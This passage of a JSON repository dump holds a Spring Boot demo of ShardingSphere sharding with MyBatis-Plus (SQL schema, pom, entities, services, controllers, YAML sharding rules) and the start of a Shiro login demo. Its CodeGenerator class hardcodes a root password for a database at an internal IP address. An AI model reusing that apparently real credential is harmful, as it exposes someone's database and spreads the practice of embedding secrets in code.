    "content": "-- 创建三个库\nCREATE DATABASE `ds` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;\nCREATE DATABASE `ds0` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;\nCREATE DATABASE `ds1` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;\n\n-- ds库创建\nDROP TABLE IF EXISTS `sys_dept`;\nCREATE TABLE `sys_dept`  (\n  `id` varchar(64) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '主键',\n  `dept_no` varchar(18) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '部门编号(规则：父级关系编码+自己的编码)',\n  `name` varchar(300) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '部门名称',\n  `pid` varchar(64) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '父级id',\n  `status` tinyint(4) NULL DEFAULT NULL COMMENT '状态(1:正常；0:弃用)',\n  `relation_code` varchar(3000) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '为了维护更深层级关系',\n  `dept_manager_id` varchar(64) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '部门经理user_id',\n  `manager_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '部门经理名称',\n  `phone` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '部门经理联系电话',\n  `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间',\n  `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间',\n  `deleted` tinyint(4) NULL DEFAULT NULL COMMENT '是否删除(1未删除；0已删除)',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci COMMENT = '系统部门' ROW_FORMAT = Dynamic;\n\n-- ds0与ds1库分别创建两个个表\nDROP TABLE IF EXISTS `tab_user0`;\nCREATE TABLE `tab_user0` (\n  `id` bigint(32) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `name` varchar(64) DEFAULT NULL COMMENT '姓名',\n  `sex` varchar(32) DEFAULT NULL COMMENT '性别',\n  `age` int(11) DEFAULT NULL COMMENT '年龄',\n  `create_time` datetime DEFAULT NULL COMMENT '创建时间',\n  `update_time` datetime DEFAULT NULL COMMENT '更新时间',\n  `deleted` tinyint(1) DEFAULT NULL COMMENT '是否删除 1删除 0未删除',\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\nDROP TABLE IF EXISTS `tab_user1`;\nCREATE TABLE `tab_user1` (\n  `id` bigint(32) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `name` varchar(64) DEFAULT NULL COMMENT '姓名',\n  `sex` varchar(32) DEFAULT NULL COMMENT '性别',\n  `age` int(11) DEFAULT NULL COMMENT '年龄',\n  `create_time` datetime DEFAULT NULL COMMENT '创建时间',\n  `update_time` datetime DEFAULT NULL COMMENT '更新时间',\n  `deleted` tinyint(1) DEFAULT NULL COMMENT '是否删除 1删除 0未删除',\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_shardingsphere-mybatisplus</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-spring-boot>2.0.1</mybatis-spring-boot>\n        <druid>1.1.16</druid>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <mybatisPlus.version>3.4.0</mybatisPlus.version>\n        <shardingsphere.version>4.1.1</shardingsphere.version>\n    </properties>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.6.RELEASE</version>\n        <relativePath/>\n    </parent>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!--lombok实体工具-->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n        </dependency>\n        <!-- 不能使用druid-spring-boot-starter，会导致：Property 'sqlSessionFactory' or 'sqlSessionTemplate' are required -->\n        <!--\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.2.1</version>\n        </dependency>\n         -->\n\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.1</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.shardingsphere</groupId>\n            <artifactId>sharding-jdbc-spring-boot-starter</artifactId>\n            <version>${shardingsphere.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.mybatis.spring.boot</groupId>\n            <artifactId>mybatis-spring-boot-starter</artifactId>\n            <version>2.1.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.pagehelper</groupId>\n            <artifactId>pagehelper-spring-boot-starter</artifactId>\n            <version>1.2.13</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatisPlus.version}</version>\n        </dependency>\n\n        <!--mybatis-plus 码生成器 添加 模板引擎依赖 这个需要增加模板引擎依赖，如freemarker-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatisPlus.version}</version>\n        </dependency>\n\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <scope>provided</scope>\n        </dependency>\n\n    </dependencies>\n    <build>\n        <finalName>${artifactId}</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/Application.java",
    "content": "package com.frame;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * @Description: 启动类\n *\n * @author wenbin\n * @date 2019/10/08 下午6:33\n */\n@SpringBootApplication\n@MapperScan(\"com.frame.mapper\")\npublic class Application {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class, args);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/config/MetaObjectHandlerConfig.java",
    "content": "package com.frame.config;\n\nimport com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;\nimport org.apache.ibatis.reflection.MetaObject;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.HashSet;\n\n\n/**\n * mybatis plus 默认值配置\n *\n * @author wenbin\n * @version V1.0\n * @date 2020年3月18日\n */\n@Component\npublic class MetaObjectHandlerConfig implements MetaObjectHandler {\n\n    @Override\n    public void insertFill(MetaObject metaObject) {\n        Date currentDate = new Date();\n        String[] setterNames = metaObject.getSetterNames();\n        HashSet<String> setterNameSet = new HashSet<>(Arrays.asList(setterNames));\n        if (setterNameSet.contains(\"deleted\")) {\n            //默认未删除\n            setFieldValByName(\"deleted\", 1, metaObject);\n        }\n        if (setterNameSet.contains(\"unableFlag\")) {\n            //默认启用\n            setFieldValByName(\"unableFlag\", 1, metaObject);\n        }\n        if (setterNameSet.contains(\"createTime\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"createTime\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"createDate\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"createDate\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"updateTime\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateTime\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"updateDate\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateDate\", currentDate, metaObject);\n        }\n\n    }\n\n    @Override\n    public void updateFill(MetaObject metaObject) {\n        Date currentDate = new Date();\n        String[] setterNames = metaObject.getSetterNames();\n        HashSet<String> setterNameSet = new HashSet<>(Arrays.asList(setterNames));\n        if (setterNameSet.contains(\"updateTime\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateTime\", currentDate, metaObject);\n        }\n        if (setterNameSet.contains(\"updateDate\")) {\n            //创建时间默认当前时间\n            setFieldValByName(\"updateDate\", currentDate, metaObject);\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/config/MyBatisPlusConfig.java",
    "content": "package com.frame.config;\n\nimport com.baomidou.mybatisplus.annotation.DbType;\nimport com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;\nimport com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 拦截器\n     */\n    @Bean\n    public MybatisPlusInterceptor mybatisPlusInterceptor() {\n        MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();\n        //添加分页拦截器\n        interceptor.addInnerInterceptor(new PaginationInnerInterceptor(DbType.MYSQL));\n        return interceptor;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/controller/SysDeptController.java",
    "content": "package com.frame.controller;\n\n\nimport com.frame.entity.SysDept;\nimport com.frame.service.ISysDeptService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * <p>\n * 系统部门 前端控制器\n * </p>\n *\n * @author 19047921\n * @since 2021-02-09\n */\n@RestController\npublic class SysDeptController {\n    @Autowired\n    private ISysDeptService iSysDeptService;\n\n    /**\n     * @Description: 批量保存用户\n     */\n    @PostMapping(\"save-dept\")\n    public Object saveUser() {\n        return iSysDeptService.save(new SysDept().setName(\"test部门\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/controller/UserController.java",
    "content": "package com.frame.controller;\n\n\nimport com.frame.entity.User;\nimport com.frame.service.UserService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n\n/**\n * @Description: 接口测试\n *\n * @author wenbin\n * @date 2019/8/24 下午6:31\n */\n@RestController\npublic class UserController {\n\n    @Autowired\n    private UserService userService;\n\n    /**\n     * @Description: 批量保存用户\n     */\n    @PostMapping(\"save-user\")\n    public Object saveUser() {\n        return userService.save(new User().setName(\"小李\").setAge(11));\n    }\n\n    /**\n     * @Description: 批量保存用户\n     */\n    @PostMapping(\"delete-user\")\n    public Object saveUser(Long id) {\n        return userService.removeById(id);\n    }\n    /**\n     * @Description: 获取用户列表\n     */\n    @GetMapping(\"list-user\")\n    public Object listUser() {\n        return userService.list();\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/entity/SysDept.java",
    "content": "package com.frame.entity;\n\nimport java.util.Date;\nimport java.io.Serializable;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\n/**\n * <p>\n * 系统部门\n * </p>\n *\n * @author 19047921\n * @since 2021-02-09\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\npublic class SysDept implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    private String id;\n\n    /**\n     * 部门编号(规则：父级关系编码+自己的编码)\n     */\n    private String deptNo;\n\n    /**\n     * 部门名称\n     */\n    private String name;\n\n    /**\n     * 父级id\n     */\n    private String pid;\n\n    /**\n     * 状态(1:正常；0:弃用)\n     */\n    private Integer status;\n\n    /**\n     * 为了维护更深层级关系\n     */\n    private String relationCode;\n\n    /**\n     * 部门经理user_id\n     */\n    private String deptManagerId;\n\n    /**\n     * 部门经理名称\n     */\n    private String managerName;\n\n    /**\n     * 部门经理联系电话\n     */\n    private String phone;\n\n    /**\n     *\n     */\n    @TableField(fill = FieldFill.INSERT)\n    private Date createTime;\n\n    /**\n     *\n     */\n    @TableField(fill = FieldFill.INSERT_UPDATE)\n    private Date updateTime;\n\n    /**\n     * 是否删除 1删除 0未删除\n     */\n    @TableField(fill = FieldFill.INSERT)\n    private Integer deleted;\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/entity/User.java",
    "content": "package com.frame.entity;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport lombok.Data;\nimport lombok.experimental.Accessors;\n\nimport java.util.Date;\n\n/**\n * user表\n */\n@Data\n@TableName(\"tab_user\")\n@Accessors(chain = true)\npublic class User {\n    /**\n     * 主键\n     */\n    private Long id;\n\n    /**\n     * 姓名\n     */\n    private String name;\n\n    /**\n     * 性别\n     */\n    private String sex;\n\n    /**\n     * 年龄\n     */\n    private Integer age;\n\n    /**\n     *\n     */\n    @TableField(fill = FieldFill.INSERT)\n    private Date createTime;\n\n    /**\n     *\n     */\n    @TableField(fill = FieldFill.INSERT_UPDATE)\n    private Date updateTime;\n\n    /**\n     * 是否删除 1删除 0未删除\n     */\n    @TableField(fill = FieldFill.INSERT)\n    private Integer deleted;\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/mapper/SysDeptMapper.java",
    "content": "package com.frame.mapper;\n\nimport com.frame.entity.SysDept;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\n\n/**\n * <p>\n * 系统部门 Mapper 接口\n * </p>\n *\n * @author 19047921\n * @since 2021-02-09\n */\n@Mapper\npublic interface SysDeptMapper extends BaseMapper<SysDept> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/mapper/UserMapper.java",
    "content": "package com.frame.mapper;\n\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.frame.entity.User;\nimport org.apache.ibatis.annotations.Mapper;\n\n/**\n * @Description: 用户mapper\n *\n * @author wenbin\n * @date 2019/10/8 下午9:23\n */\n@Mapper\npublic interface UserMapper extends BaseMapper<User> {\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/service/ISysDeptService.java",
    "content": "package com.frame.service;\n\nimport com.frame.entity.SysDept;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n * 系统部门 服务类\n * </p>\n *\n * @author 19047921\n * @since 2021-02-09\n */\npublic interface ISysDeptService extends IService<SysDept> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/service/UserService.java",
    "content": "package com.frame.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport com.frame.entity.User;\n\n/**\n * @Description: 用户相关接口\n *\n * @author wenbin\n * @date 2019/8/24 下午6:32\n */\npublic interface UserService extends IService<User> {\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/service/impl/SysDeptServiceImpl.java",
    "content": "package com.frame.service.impl;\n\nimport com.frame.entity.SysDept;\nimport com.frame.mapper.SysDeptMapper;\nimport com.frame.service.ISysDeptService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 系统部门 服务实现类\n * </p>\n *\n * @author 19047921\n * @since 2021-02-09\n */\n@Service\npublic class SysDeptServiceImpl extends ServiceImpl<SysDeptMapper, SysDept> implements ISysDeptService {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/java/com/frame/service/impl/UserServiceImpl.java",
    "content": "package com.frame.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.frame.entity.User;\nimport com.frame.mapper.UserMapper;\nimport com.frame.service.UserService;\nimport org.springframework.stereotype.Service;\n\n\n/**\n * @author wenbin\n * @Description: 用户实现类\n * @date 2019/8/8 上午9:13\n */\n@Service\npublic class UserServiceImpl  extends ServiceImpl<UserMapper, User> implements UserService {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/main/resources/application.yml",
    "content": "server:\n  port: 8088\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  global-config:\n    db-config:\n      logic-delete-field: deleted\n      logic-delete-value: 0\n      logic-not-delete-value: 1\n  mapper-locations: classpath:mapper/*.xml,classpath:mapper/**/*.xml\n\n\nspring:\n  shardingsphere:\n    datasource:\n      names: ds,ds0,ds1\n      ds:\n        driver-class-name: com.mysql.jdbc.Driver\n        password: root\n        type: com.alibaba.druid.pool.DruidDataSource\n        url: jdbc:mysql://localhost:3306/ds?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8&rewriteBatchedStatements=true&allowMultiQueries=true\n        username: root\n      ds0:\n        driver-class-name: com.mysql.jdbc.Driver\n        password: root\n        type: com.alibaba.druid.pool.DruidDataSource\n        url: jdbc:mysql://localhost:3306/ds0?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8&rewriteBatchedStatements=true&allowMultiQueries=true\n        username: root\n      ds1:\n        driver-class-name: com.mysql.jdbc.Driver\n        password: root\n        type: com.alibaba.druid.pool.DruidDataSource\n        url: jdbc:mysql://localhost:3306/ds1?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8&rewriteBatchedStatements=true&allowMultiQueries=true\n        username: root\n    props:\n      sql:\n        show: true\n    sharding:\n      # 默认数据源\n      default-data-source-name: ds\n      default-database-strategy:\n        inline:\n          algorithm-expression: ds$->{id % 2}\n          sharding-column: id\n      tables:\n        tab_user:\n          actual-data-nodes: ds$->{0..1}.tab_user$->{0..1}\n          table-strategy:\n            inline:\n              algorithm-expression: tab_user$->{age % 2}\n              sharding-column: age\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"sys_dept\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"19047921\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://10.138.228.199:32938/ds?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"Edn@ESR-3+\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.frame\");\n        pc.setEntity(\"entity\");\n        pc.setMapper(\"mapper\");\n        pc.setController(\"controller\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n//         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/README.md",
    "content": "## 集成Shiro权限管理\n\nSpringBoot和Shiro集成，实现用户登录认证和授权访问页面。\n\n## 数据库初始化\n\n执行SQL文件`src/main/resources/sql/schema.sql`\n\n## 测试账号\n\n1. admin/12345678\n2. aix/12345678\n\n根据登录用户的不通角色可以看到不通的菜单\n\nadmin登录后可以看到用户管理菜单，aix登录后可以看到App管理、机具入网监控等业务系统菜单\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_shiro</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>集成Shiro权限管理</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n        <mybatis-plus.version>2.1.8</mybatis-plus.version>\n        <mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql-connector.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!-- MyBatis plus增强和springboot的集成-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatisplus-spring-boot-starter</artifactId>\n            <version>${mybatisplus-spring-boot-starter.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>2.5</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.7</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n            <version>1.11</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n        <!-- thymeleaf模板中shiro标签-->\n        <dependency>\n            <groupId>com.github.theborakompanioni</groupId>\n            <artifactId>thymeleaf-extras-shiro</artifactId>\n            <version>2.0.0</version>\n        </dependency>\n        <!-- shiro 权限控制 -->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-spring</artifactId>\n            <version>1.4.0</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>slf4j-api</artifactId>\n                    <groupId>org.slf4j</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- shiro ehcache (shiro缓存)-->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-ehcache</artifactId>\n            <version>1.4.0</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>slf4j-api</artifactId>\n                    <groupId>org.slf4j</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!--验证码框架-->\n        <dependency>\n            <groupId>com.github.axet</groupId>\n            <artifactId>kaptcha</artifactId>\n            <version>0.0.9</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                